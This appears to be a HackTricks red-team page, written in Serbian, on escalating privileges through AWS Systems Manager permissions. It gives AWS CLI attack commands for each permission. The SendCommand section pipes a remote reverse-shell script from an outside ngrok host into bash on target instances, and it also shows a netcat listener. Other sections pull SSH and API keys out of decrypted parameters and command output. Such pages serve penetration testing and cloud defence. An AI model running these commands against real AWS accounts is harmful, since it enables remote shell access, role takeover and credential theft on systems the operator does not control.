AWS - SSM Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

SSM

Za više informacija o SSM proverite:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Napadač sa dozvolom ssm:SendCommand može izvršavati komande na instancama koje pokreću Amazon SSM Agent i ugroziti IAM ulogu koja se izvršava unutar nje.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

U slučaju da koristite ovu tehniku za eskalaciju privilegija unutar već kompromitovanog EC2 instanca, jednostavno možete uhvatiti reverzibilnu ljusku lokalno sa:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potencijalni uticaj: Direktno privescovanje na EC2 IAM uloge prikačene za pokrenute instance sa pokrenutim SSM agentima.

ssm:StartSession

Napadač sa dozvolom ssm:StartSession može pokrenuti sesiju sličnu SSH-u na instancama na kojima radi Amazon SSM Agent i ugroziti IAM ulogu koja se izvršava unutar nje.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potencijalni uticaj: Direktno podizanje privilegija na EC2 IAM uloge prikačene za pokrenute instance sa pokrenutim SSM agentima.

Podizanje privilegija na ECS

Kada ECS zadaci rade sa omogućenim ExecuteCommand, korisnici sa dovoljno dozvola mogu koristiti ecs execute-command da izvrše komandu unutar kontejnera. Prema dokumentaciji ovo se postiže kreiranjem sigurnog kanala između uređaja koji koristite za pokretanje "exec" komande i ciljnog kontejnera sa SSM Session Manager-om. Stoga, korisnici sa ssm:StartSession će moći da dobiju shell unutar ECS zadataka sa tom opcijom omogućenom jednostavno pokretanjem:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potencijalni uticaj: Direktno privesc do ECS IAM uloga prikačenih za pokrenute zadatke sa omogućenim ExecuteCommand.

ssm:ResumeSession

Napadač sa dozvolom ssm:ResumeSession može ponovo pokrenuti SSH sesiju na instancama koje pokreću Amazon SSM Agent sa isključenim stanjem SSM sesije i ugroziti IAM ulogu koja se izvršava unutar nje.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potencijalni uticaj: Direktno privesc na EC2 IAM uloge prikačene za pokrenute instance sa pokrenutim SSM agentima i prekinutim sesijama.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Napadač sa navedenim dozvolama će moći da izlistava SSM parametre i čita ih u čistom tekstu. U ovim parametrima često možete pronaći osetljive informacije kao što su SSH ključevi ili API ključevi.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potencijalni uticaj: Pronalaženje osetljivih informacija unutar parametara.

ssm:ListCommands

Napadač sa ovlašćenjem može da izlistava sve komande poslate i nadamo se pronaći osetljive informacije u njima.

aws ssm list-commands

Potencijalni uticaj: Pronalaženje osetljivih informacija unutar komandnih linija.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Napadač sa ovim dozvolama može da prikaže sve komande poslate i pročita izlaz generisan, nadajući se pronalasku osetljivih informacija u njima.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potencijalni uticaj: Pronalaženje osetljivih informacija unutar izlaza komandnih linija.

Codebuild

Takođe možete koristiti SSM da pristupite projektu codebuild koji se gradi:

pageAWS - Codebuild Privesc
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated